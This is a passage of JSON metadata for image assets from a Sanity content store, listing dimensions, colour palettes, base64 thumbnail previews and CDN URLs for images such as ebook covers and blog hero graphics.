3,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#f97208","foreground":"#fff","population":4.22,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#bfb9bb","foreground":"#000","population":0.37,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fad762","foreground":"#000","population":0.28,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#757489","foreground":"#fff","population":0.01,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f97208","foreground":"#fff","population":4.22,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"event-driven-streaming-files-server-devices.png","path":"images/sczeoy4w/production/ed180026fb588a195d96b96c6b017de16528dea9-2500x2500.png","sha1hash":"ed180026fb588a195d96b96c6b017de16528dea9","size":163046,"uploadId":"NLnSHBZ2IaFfBlhOXFSuzTZAAA7rmqbb","url":"https://cdn.sanity.io/images/sczeoy4w/production/ed180026fb588a195d96b96c6b017de16528dea9-2500x2500.png"} {"_createdAt":"2022-12-22T14:28:22Z","_id":"image-e146e1e046d57f5e001a3368e7e6b94a3eab1d7c-2500x2500-png","_rev":"cmQvgZcsUwgFEQbM0VPIBr","_type":"sanity.imageAsset","_updatedAt":"2022-12-22T14:28:22Z","assetId":"e146e1e046d57f5e001a3368e7e6b94a3eab1d7c","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"eDKJ_L_134Vy4;.:NG1zxH%100oMI]bE^OLyep]kNZR53V4o|@oxOX","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1,"height":2500,"width":2500},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAUCAYAAACNiR0NAAAACXBIWXMAAAsTAAALEwEAmpwYAAAE30lEQVQ4jZWUe0yTVxjGX/FCjBBUdCDb0G1G0TgHgqLoBl7whs4reMGxeBmLbjhNjDFmZvMPYrZsRuNtm85MSY0IKGChXNrSrzdaPtuer4iQSFBBcaNCz4egXOz7Lm3Fodn+2Eme5CQn+Z33OSfPAzBoUVYQUGYoUDYAfR0MlDkOaGc4UMZEoLQowLXRgKtmAy1PALoKQOuigZI/GYwAQFnyq10EPJEAuDcIaP8IoH2BQFsmA+2YAJQRCZgWBbQ2GmhNDNCClUALFwOFHfLvE5e+AeQSoNsO+KIFMCcNsDIVaA8A7QoLoO0RQbRtUhhumhpB62eOoU9jR9DmKUArEoCSlgAtSAFMXAY0b/UbE3bYgIgA6V3AY9GAe0OCcffYWbhrwnbMeO973DQtG9fF7MeU+KW47OMJuHjRUIpbB7gkETAtDihuw2vAIei2D6XHhgBP2QHAfRCC34xciXtCLtDOt2ppW+SflDrFRWui79GKuWWYnJSFi5a9j+vTA3xD3LgIyJmPBeSzzALRbRuHnbdDyXZ6NGVHJtHB0QrMGuPCLyPQszOKPBmzCDfGE66c34OLFtbQguRMil0aSrkXAH3OmvxA/xuyYHTbJ9PTuuloPR6PvyZle47PedD/YyL1/LQBu0/u9nSdOIDPjmZ5erN2UP/mLV2elNRruDo9gTTXA7G3bji2Wod6nfrtcjYWOYuiztoYFI6m9l7ZWvy08GC3u+o8tVuL0OXQYRszkatag+2qGyj/cs7z/NARp+fb77LIqZ6BPXWTsN0ejrI08iXQEYqyNI04i0XN4c+eXsusalaf671zq4rqa0VsvlePf7U24cP79dhUb8f7ugrqOP/bg/7zZ0/SXWE9dt9Owg7HRyhLYwYmHI+cfYiyMw71RzfxvK+UdcpTz9SleVShKkSHqMfGejvVMTOKFg1JFcX4+NLFpv68S6eopToDu2pXo5vNRVka7wUGIGfhyB2zsPP2HJQuLH+iPHLGoTzXqipUUGGBArUVRWg1VqJJV4qCpphE1Y3nLQUKU59QeIRctnTsdK5BzuYNAL0ThiNn0Sg7Y6m1KuGhOWe/SaW4VZSf05efexkrywrRYlSjSVB5dOqbVK2+2dYolFzuuWvYQZxtQFlKQc5moyyN8wNlKRQ5m+aFet+x0andrlEV6PJzL/VdVfxOpcV5pNeWUFVlEalV10lQF7fW3dKc7mmzpZMsbUTOVr0O5NJo5GwqchbjPbh3R79V0BTnFxUoHuXn/tFdXlLQZ6gq7ddplN2CRumqNpSbG5z6wz0uewrJUjJylohcmjHwKV6FIGdTfLY5i21vtix01lR8oS0vOF52M/eaUVemstUYyyxm4YrZoD0mWoTPG5ymmGdttgiSpTD/p0ohKEvDB4CjkEtvI2cfIGeTX3Q4JrpbrJGNtdrpDkt5vK1GmO+wiwlijXWm0Wh4Ry/ogg2Cdtj9BhNQVy30dzhelcwAcBjJ0kiSpSDk0ijqlAKJHgQQoTerAXLb3SE//Hx2iDe3gk4LVosZ7KIZ2putQJ0SeNz+HHvz/E/beMPNGZDMgOiJr3kGq0TXAPryHDAIWrBUG8FWYwD+SHwd+CrLg+Qti5eFAb1P7NDRIsIdZgKTyQBmsxnMZhOo1WoQRdEnpVL5H439L/KBvbf+j/U39rvRCJ+Dc78AAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#3a463d","foreground":"#fff","population":0.03,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#580d0a","foreground":"#fff","population":0.11,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#cab1b6","foreground":"#000","population":0.23,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#cab1b6","foreground":"#000","population":0.23,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fc94ac","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#788580","foreground":"#fff","population":0.01,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f4580d","foreground":"#fff","population":0.09,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"server-with-binary-numbers.png","path":"images/sczeoy4w/production/e146e1e046d57f5e001a3368e7e6b94a3eab1d7c-2500x2500.png","sha1hash":"e146e1e046d57f5e001a3368e7e6b94a3eab1d7c","size":317367,"uploadId":"674TMD9mljOpVZniojhuq8HAARqC7d3R","url":"https://cdn.sanity.io/images/sczeoy4w/production/e146e1e046d57f5e001a3368e7e6b94a3eab1d7c-2500x2500.png"} {"_createdAt":"2022-06-30T20:10:29Z","_id":"image-6bbb167edba16e08a9a63e8117bbfc8206d64e78-2500x1437-png","_rev":"CK1sLU2mnwa3vmbYWEdyWb","_type":"sanity.imageAsset","_updatedAt":"2022-09-08T16:29:28Z","assetId":"6bbb167edba16e08a9a63e8117bbfc8206d64e78","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"MBO|Lh9E00~qIDm[^+l9E1q[0000EyX8^0","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.7397355601948503,"height":1437,"width":2500},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAYAAAB/Ca1DAAAACXBIWXMAABcRAAAXEQHKJvM/AAAC/0lEQVQokTXOTWhcVRgG4CsFWyIGpFRacOFPRsii7tJYsrC4cCG4sehCXHUpiqYKChObtIK2JSgidiGkVbEWzDT4A04V0krJpKWCRtSGdpI0TWbmztw7c+695/8753znyCR18fDB+36LN6LMRq+/8d59R9+e2jV+dHLwzbeODb4zPvnAiekz989/9PlOdejV/X70pSN48OXnOy++tvvEmXO7po6d3l2eOLm3XD65rzxxau/k1PRDH3/yxc4LF77fETHGHs6yfHiz0TqwsnJnbHV1fazRaB3sZflI0U5G5bnKK/Du6Wk4/lmZ/Xb9uS7JRzY2GmO3bq0cWl6uP1uvrz2zudl8Oo47Q0tL/wxGUsrDQohPGeMVzvms1rpire2bVVJW8s1Wlfy1vEhu1q+yLvnBGDPb740xFwFgzhgzZ609DwDjzWZcirRW72utbmolAUBLdFZ57xSiVUpJRQhRcSeRnSSVtKDKGtjqPd7jnfboMmvN+TTtjkQA6gNrYNUYE6y1ARGD97h1+xnnLJAeCRnJghB8K9v+8fdg8Gi1NVBJ03Q0Aq2OW83qwBMPLHaGt9HJDqJKEFWKFjga0Ahaoe5TDI1I0IkYUXfRW+nRWWFAf5cmyYHthaK9ZtIbwbTmg4kvB9e5EnwyH3y3FlDGwaMLztlgQAegjWBavwZ399uAcTUgXw/OagBQF7tpOtJfWHYq/RvzfyX2bnDs/S62XRdI/hCoUu7RMXSWOQvM8iZz8S/MrX/NXPMnimyNOyNTAPVVnpGnIqXkCxbEh1YXZ53KZpzOZqwiZ60iM1ZlXxoQcwbgigG9AKAWjKILwBo1Teo1nd9ZANGrgeKXtRJTlBZPREtLf+65fbs+tNFoD/cy8SSXriQ0loT2Q1za/YzSI7TIv2GMVjljP0vBq1LQKs17l3KSVossucSL7o+SZxOM5kNRqVQaePyxRx98ZN+egSiKdoQQov+RbmuA5uQwzUmFU3pNcF5Tki8qkS+yPFksSLvvGi/Sq1pkpzgrhv8DABzTrrWOYgYAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#4e2e34","foreground":"#fff","population":0.01,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#620912","foreground":"#fff","population":0.06,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#f8b718","foreground":"#000","population":1.76,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#ccb4b4","foreground":"#000","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fce869","foreground":"#000","population":0.07,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#7c948c","foreground":"#fff","population":0,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f8b718","foreground":"#000","population":1.76,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"6bbb167edba16e08a9a63e8117bbfc8206d64e78-2500x1437.png","path":"images/sczeoy4w/production/6bbb167edba16e08a9a63e8117bbfc8206d64e78-2500x1437.png","sha1hash":"6bbb167edba16e08a9a63e8117bbfc8206d64e78","size":137351,"uploadId":"MsjTeXkREBI7RM8CmBVJGuHWdZ2UVQBc","url":"https://cdn.sanity.io/images/sczeoy4w/production/6bbb167edba16e08a9a63e8117bbfc8206d64e78-2500x1437.png"} {"_createdAt":"2023-01-11T11:18:00Z","_id":"image-90c956ce47d5953a0b2ea660eb43bbcc032c83d6-1200x745-png","_rev":"cOoKElpg4AEXyE6qxHJGoO","_type":"sanity.imageAsset","_updatedAt":"2023-01-11T11:18:00Z","assetId":"90c956ce47d5953a0b2ea660eb43bbcc032c83d6","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"VFB:jcR.00-nVZ00IU~W%MIo_NxaDhIotSMdWVtls:i^","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.610738255033557,"height":745,"width":1200},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAMCAYAAABiDJ37AAAACXBIWXMAAAsTAAALEwEAmpwYAAADTElEQVQokWXPW0xTdxwH8F990QRosfR6aKmVckcOXmqBUsQHFXtOKZQiKFQOYHGIl+zBaTRGowIG1Jho3NSoyaZhWYLGRRYp0gYvEa1b2UDpZSWFFgG1VBKBhML5G/TFo9/km3yfPskXAACi+AQAaGApp2BxZ3MxvQWTl6IVSTuQIt2E4lMrkSDOiDgiPUrJpD5S5sZLt9vuyzOUFOTk/wBOpxMY+QJmwLLoz2AWJjd2pK2pDqs09Ui9cR/KymtAK1Mq0XKsGCXhVR9MNacu/HrrngxXUpC9YTe43W4myBaQAEs2AEeoAzafyBLEGTriUyvm0lZXo4x1tXT62lpamlC+sBwrQokZOye37zxx/vrNO3GZ66sgK68OvF4vE+QISRDLSkAgNQBbQGRzhORf0aLCMFesR1ysiOZJihFPoqe5sXqUsMo0WVpx7Nwv1/6QfgHN4PP5mGC0SAfxyeWAyUsW8ZwoPvEgkkeEI3kEiuSRdAymQ4r4Qjo1QY/wzMpJQ9mR1ouX2yRpyipQaXZBIBBgglxMB0np5RCnMLKiRaSaIyQ72QIizOaTKIqvo8USHdLiBbRZuRlpVWXBIuPhltYLv8XGrqZApamFiYmJb0CxDlLx7bAi0cjiCIncKL7WEhGjnY+M0aKIGIKWSQrQXtX6hbMb16Jt2UVBQn/wzOmWG5gAp0CproZQKMQEZYlloM6vA1xJsaSK0lxMbuwSygxhvrQY8WIN9LrkrXRTAb7QqsURqS55v6Xwp+bG5iviFFUN5OSbYXp6mgnW7z8PR09ehR+P/Mzave9c3q76lm7K3LxgqmlCFdXN6FDDMdR+vJ6+fngv2r/n5PsDBy81Xrv6u4iqOwV1DU0wOzvLBK2PHPDgsQM6ng6wbI8cuTarvbPL0jtrefhiztrTN/f8Wd/84Ev7vOPZS2S1/f3O0v3idE9Pr7D9bhfc/bObNTMzwwRdnhHo7ffAc6cfPF5/isftO+Ea9La73MP3ff63nYGxkO3N+NTjN+NTdn8gaPV4/Xv6B5zcf/pegePf199fHhgcAtsTO9j7nPDa6YsYdA0rnO4Rpds7qhkafrtpZDRIjo6FjGPjUyb/aHDH/0OBNf2vXMv+G3DBYr8GPwGf/2f72ci2QAAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#31315a","foreground":"#fff","population":0.67,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#0e1d71","foreground":"#fff","population":0.06,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#ed720b","foreground":"#fff","population":0.87,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#9c9cd4","foreground":"#000","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fcb464","foreground":"#000","population":0.01,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#a96e61","foreground":"#fff","population":0.01,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#ed720b","foreground":"#fff","population":0.87,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"ebook-cover-apache-kafka-for-tech-leaders.png","path":"images/sczeoy4w/production/90c956ce47d5953a0b2ea660eb43bbcc032c83d6-1200x745.png","sha1hash":"90c956ce47d5953a0b2ea660eb43bbcc032c83d6","size":170023,"uploadId":"Mp3iQE26YAcfHnfF0nNrfXL3vSHjlHxK","url":"https://cdn.sanity.io/images/sczeoy4w/production/90c956ce47d5953a0b2ea660eb43bbcc032c83d6-1200x745.png"} {"_createdAt":"2023-01-11T11:20:12Z","_id":"image-c907c2213ffa4ae4d392ded11d545acd19a8b0c5-1200x745-png","_rev":"Z39vf97kTT8utJKfKXZvbt","_type":"sanity.imageAsset","_updatedAt":"2023-01-11T11:20:12Z","assetId":"c907c2213ffa4ae4d392ded11d545acd19a8b0c5","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"VHC$vMn,00o|v$00Io~W%LIo.TozMJV@T0vfjFO@S$v}","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.610738255033557,"height":745,"width":1200},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAMCAYAAABiDJ37AAAACXBIWXMAAAsTAAALEwEAmpwYAAADPklEQVQokW3MaUzScRzH8S8PWk8y0xRETE0lzGyEIV6ZZZnGIdMsvHCQV6cHeRFlReSWZmq2WbY51+msbF2rttKcGrOFCswbs0D/pqEdHqmN/6/ho8je23ffz6MXAABY2XPAz1cCNJ8EWGXPYdo68p+QXfejdR6xyJUWj9w2Ji5tO0o08mKIpg+mF5U+ePjKSZxyFpLT5IBhY2CRGUQIgU9gqhncSnE70EBnpS5sC81A23dnopDdWWhrQPoSuokhnhKlKC7W33/hmJx2DlIOnQejcfIfkMhd+q60RLAicpjOVEGDX/CR+XBeHmLzC0wRvDycGXjY5OQuQF5bREahWF505+4zcvpRBRw6egFmZmYtwdUkMxgIZFcBrCZyfUku0Y+p3sIFOisVMfzT8S1+abibZ4LJjhKFaPQkY1zSGUVNbQMpU1IMGdnFhLm5X5bgGgceeG0WgbNHnBn3sybxnto48hfsnaIQ2Tkap7hE4SRKpIlM4SIGI+FrolAmr7peR8wpKIf8gsvLQVtyJDBZqUD1jIM1Dlx/KyL3uQ2JvejpHIbYniE4nxaKB7mHm3Z47UUJIYIJiTj/bHHZLbtj+VVwrrCCMDs7ZwnaOPDAxzcZmPR9YE3iBKyyY79wXxf6+ziLjp6GU/GXOxl4CWuXKTOAg3L2xo7LxLmnCy/UrE3KqAL5qfLlINU7ESK4EojjCAnrN8YHuWwQvNzDjPh9L8Ybx0RUfCLGF3+7h23K3R6LDoSljCULpTK5onptWlYFSKX/AfNk16D0aj1crawh5EirgiW5la8vyorwltITaLQyG02UnESaQgVekX0JZWaVYyfPXJfeqK6zLSm7CWVXbi8HW5VaaHrfDW86+gltSm1QW0vnc2Vz+4xGqZwf7uyYH1VrFz919Cx2tvfiLa1aQ1OzKq+xsdXmdeM7aGxSEqanZyzBfp0e2jUD8L5PD7qhEapu8HPuQP9wbf+goW7YYHxoGPv+DBv/+erLxHTzCDb1aFCnj/+g6rLqUneDWtNjiZnT9nyE1jYVdHT1Qnfv8Mqevk8OfQN6j6GPo96f9ePMkRFjMIZ9C8O+/OAbRic5gzo9TaVSr1BresF8f/cHIx+AByo2XOEAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#32345a","foreground":"#fff","population":0.76,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#05176d","foreground":"#fff","population":0.04,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#32345a","foreground":"#fff","population":0.76,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#c6ab9c","foreground":"#000","population":0.11,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fc9c41","foreground":"#000","population":0.01,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#63678d","foreground":"#fff","population":0.7,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#ed5f09","foreground":"#fff","population":0.6,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"ebook-cover-how-a-cloud-data-platform-drives-transformation-in-business.png","path":"images/sczeoy4w/production/c907c2213ffa4ae4d392ded11d545acd19a8b0c5-1200x745.png","sha1hash":"c907c2213ffa4ae4d392ded11d545acd19a8b0c5","size":228031,"uploadId":"ELagsCjcBNwhCQvHcfttnhijE6HaNPQw","url":"https://cdn.sanity.io/images/sczeoy4w/production/c907c2213ffa4ae4d392ded11d545acd19a8b0c5-1200x745.png"} {"_createdAt":"2022-12-21T16:38:29Z","_id":"image-f1bfff8bbd4963958e533fc7fc86f4abf94451eb-1567x844-png","_rev":"IiYi5XVNmR5WYQ23CCoLNg","_type":"sanity.imageAsset","_updatedAt":"2022-12-21T16:38:29Z","assetId":"f1bfff8bbd4963958e533fc7fc86f4abf94451eb","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"M64yT%?cjZWBaf?w%gRjRja|%Mt7Rjf6s:","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.8566350710900474,"height":844,"width":1567},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAIAAADwazoUAAAACXBIWXMAAAsTAAALEwEAmpwYAAABuUlEQVQokXVSW2sTQRSe3c1sLkTdNsSgvviikjmzl242dmuiSH3QCpbUUm2hL0Vnzuxmk9ZQQbBiU5tWhYI/WWYTlViFj2E48F3ON0NKQeq0h7X2cDEaOK3BlTBbiIb15f1aNHDCzAmzhVZWDfoWR8LkPJDUOyOvN463z+5vTYKNE3jxOXz5JX59Fm2eeuvHfm/s98a3n3woL/XnaAwJKNJ4eBhvnz8TP1b3Lrq737u731Z2vgYbJ83nn+48/Xhv7eju2tGNR4dFP/3NNAANUIQp7RxtTVb3LuKd83DztP1qwtePG51R1U8rfloJ9Gm7ygQ0mDRBWhpoAZoMSWmpX++Mbj1+f707WowPaivvnOX9op8YTZFDGk00GJogC1xQLmwNWeRIAUmeQWphkBpsdpmFBCSQmFxRV9iuJhdycwpYAiSXOpyHJiuTI3UFdYVOqzNLCrLMJJluMl3pPxK6oYIrbU9SFwtcUi5tkDYTpMzfOoG62sqKfmrCvx4TFAFlcbQ9OUvOp4VJco2/uRkljQcH1VZm8Uv+eWwy6+VXxlxO69ogKh6Wg4S66k9PfznrXzHVUgSSHHryE1uhkIQso9GaAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#2d3666","foreground":"#fff","population":0.86,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#042c64","foreground":"#fff","population":72.46,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#042c64","foreground":"#fff","population":72.46,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#b4d4bc","foreground":"#000","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#a1bbd5","foreground":"#000","population":0.29,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#5d7492","foreground":"#fff","population":0.88,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#ae474f","foreground":"#fff","population":0.11,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"Home_is_where_your_static_IP_is_blog 2.png","path":"images/sczeoy4w/production/f1bfff8bbd4963958e533fc7fc86f4abf94451eb-1567x844.png","sha1hash":"f1bfff8bbd4963958e533fc7fc86f4abf94451eb","size":20371,"uploadId":"XyJsE9symYwzfN0iLJF6mBwdib2RudN5","url":"https://cdn.sanity.io/images/sczeoy4w/production/f1bfff8bbd4963958e533fc7fc86f4abf94451eb-1567x844.png"} {"_createdAt":"2024-08-05T16:26:47Z","_id":"image-202d28668392476eb4429c1f8074ddc7a627b03c-1200x628-png","_rev":"9UINTEl5Nh5uQ7g7zvC0SR","_type":"sanity.imageAsset","_updatedAt":"2024-08-05T16:26:47Z","assetId":"202d28668392476eb4429c1f8074ddc7a627b03c","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"MHDj*_jW1Ij?EhtTWUnha~Nc1kj?}9jY$M","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.910828025477707,"height":628,"width":1200},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAKCAIAAAA7N+mxAAAACXBIWXMAAA7EAAAOxAGVKw4bAAACVUlEQVQokR3OW0/aYADGcb7A1Nr27YGWQsFRSqtSmHIq5SQCokAFxVCRc6gHZE6d7pRNZxZ3sS3bLpYtc+oSb1y83LKb3WmyZR9qYclz+8vzNwwAdYgoklyTda1z4xuca5Mb3+Ld93n3Pud+6Jx4Jk4+FyYOOWnfPtbjpZ5D2jXzu7ilizIdQx8bF+hRXQxuByO7kfi+En8cmT6IJY+i00fx9MupmdfR1KtQ/DCo7EWmHoXiBw5pDzfrMN3o40G8QFjKgbGlarCwFi7W5CXV39TCrW6ivjndrMY2CspWLdzSw6V2pJL2rdk4HaFrw6RmGATqLTBPkrmKIF8lxRvVeZUQnnrlN1HlV2HievHOSSr2RMleZMI3C+6f6uROYMbOahBZgY0rfTzwH2uC/C0h/M5z35OOY7/3Q8x3XXD9XXRdpEMvlNRVxvenOPoj57nnn73NViDjCmD0fvYAmIfx+VFmtuSMHvs8J7Lwzi99VKTLhHSZ9HyOeN+HAqdh19uguy7NTDrqhKkGERpM1frPEKYO40WUXBItanc88CngPJP5c0X8GpfOp6RTRTwLOb8EHQ88Xq9dIyxdhG5BZHmIKBlgLM8YVau1bLY3WGvFO6Jm+Nm8kM2L+ayYnRPSc3wq58zMOdLySI5lm5ilB5hVmKpDpGZAsLyNVnn78ojQpmwNQFcxuokzHcK8ijNtQFUB3cBMbdS4gpBl1NTC2LsY20MZHaEahiFMRXAVGBcBrSFUBaFqKN0CJh0zrwPzOsp0UFN/w+QyhJdguolbtwnbDmbpAlPnHy96njI+v53HAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#3b4672","foreground":"#fff","population":0.53,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#041d6f","foreground":"#fff","population":0.36,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#f85107","foreground":"#fff","population":13.99,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#a498b2","foreground":"#000","population":0.32,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#ec9260","foreground":"#000","population":0.41,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#5c6b93","foreground":"#fff","population":0.72,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f85107","foreground":"#fff","population":13.99,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"Copy of TechDevrel Hero image template 1200x628.png","path":"images/sczeoy4w/production/202d28668392476eb4429c1f8074ddc7a627b03c-1200x628.png","sha1hash":"202d28668392476eb4429c1f8074ddc7a627b03c","size":147364,"uploadId":"k45btM7YmtfApQFPGR0gopB64b9gNt9U","url":"https://cdn.sanity.io/images/sczeoy4w/production/202d28668392476eb4429c1f8074ddc7a627b03c-1200x628.png"} {"_createdAt":"2023-01-04T10:46:37Z","_id":"image-161baf9c113ae57b86d58be1e6aa04d2e2bba56b-2000x1620-png","_rev":"cmQvgZcsUwgFEQbM2LS61X","_type":"sanity.imageAsset","_updatedAt":"2023-01-04T10:46:49Z","altText":"How a cloud data platform can drive transformation in your business ebook cover","assetId":"161baf9c113ae57b86d58be1e6aa04d2e2bba56b","description":null,"extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"eJD+oUIU00%MH=00Rj~VoJS$.TjZMJkCNbvfj[KjWC#lIoR*$*xaSN","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.2345679012345678,"height":1620,"width":2000},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAQCAYAAAAWGF8bAAAACXBIWXMAAAsTAAALEwEAmpwYAAAEdklEQVQ4jVXSa0xTZxgH8Dcb25z0HErpOb2CBTEgY04yFUShhdYV6Dn0gkxwhHUwojAEJsNNhpNgFuMgjhGGDOOSZXHOMEUmgshlsDmwoNBSei+lLReLhjDNPrnwvktdssqT/PP/9svzJA8AAACcpAFOUgDn0C/hJB2GEfSbGEHvxQh6P0bQYpzMTmdylXIWX02HCTQHhVsP5SdLyhWV1c2RVqv1Zd9DL+i81g/+H4ykAIPI8verGEGJcZJuYXKVN5lcZW8oT3WHxVcPhwnUoyy++i5OZo8R4ZqJFOmxG3X17e+azZZgr2cO3OobeQEkFGBTqBwwCMVmjFAUsIXq6S0xh59Fxxc+2xZf+E/MDu16XELRur/JiIPrhFCDUmUV3vozF6tNJhPT5bKDvtujG8EgXOYHgzFCoRVGHzLvSSlD0sxqlCY/jtIzqtEBRQ0SH6hCUdsLIBmRg1Kkx7ynGzqqZ2dnmU6HFfRu2JCkQBAmAwy2IhgjqQ+2xOSZ90srEKWphQr1SUhramGW6iTcKymHwug8SIRr0L60j9x1py9UGY3GELvNDHpuDQdAnEOB15hyP8zASaqYH5Vr3ZlYglKklTBVVgXT5cdRqqwKxSUUQRZfDcMEapQsKZv/rO7bCoNhJsRimQXdNwcDYAiXfn42k5vtB0tYfKWNH5WLRDGHoT+RsQVIFPseEkTmQiaHhmyBCiWlHp07cbKlXK834KbZGdDVfScAhvKyQSiPBiy+EsM51BGMUNgxgkIYSUMmScMwDoXYXAqxeQpI8jKhSEQjiaTEeeLTr0sfTOmxKYMeXO+6HQBZ/OznYQuUeAiHKsMIhZNBZCE+Tw6Tt6ZBTWwqytqWjhJEGXB39DswZ6ccFWdo7adONB0ZnZzCfh6fBp2/9AZAtkD5PGS4Cg/l0eUYqZjj8uRItSMJdshi4XDmdnRDnIjqdsnh0aRMeEaWgRrUWltDTWPJr2P3GXV9k+DK1Z4XQKEKsIVKwIlQh4Ry6QoGkTX/hkiMGqVR0JbPhqu54Wgl8y00IpbBU/tUUJuSg97PKrHUVJ4r6r+rC27t+QP8eLk7AO5JKQWJqaUgWVIWkpBUUhW/q8itFOegTu1uuHQsDq5++DZcy5NAc7YaNqQVQsneYiTLqDRVftyk/XNMF9w/OLIR/KbtGmhp7wKt7V3M8y2dx79q+sl74fxF9PulRui5fBY+/KERPvquGTqa2+CVMx3rn9d2wNr6S8bWtquFOt3E5pHfRjb+4YzJBQwWN5ixuJkGo7Na/8Dsnbo3jfST0+sOkwV57S60ZHejBasH2UweNG1wId196+y4zlAwMTH5+tDQEJiYnAqATtcScMwv+4M5XYv5Trv7us3kvGe2zE863St67/KaadH3xL688nTe9/jvBd+jpz7PwqMRi82l0el0mwYHB4HeYAyANocXWOwefwdZHV6R1bEgtTsXc52u5UK3x1fqXXz8yeLS6hdLy2vnHvqetC77/vre7Vn50mJ1JY6Pj78yMDAApvX/gf8C3WYaroc2voAAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#32345a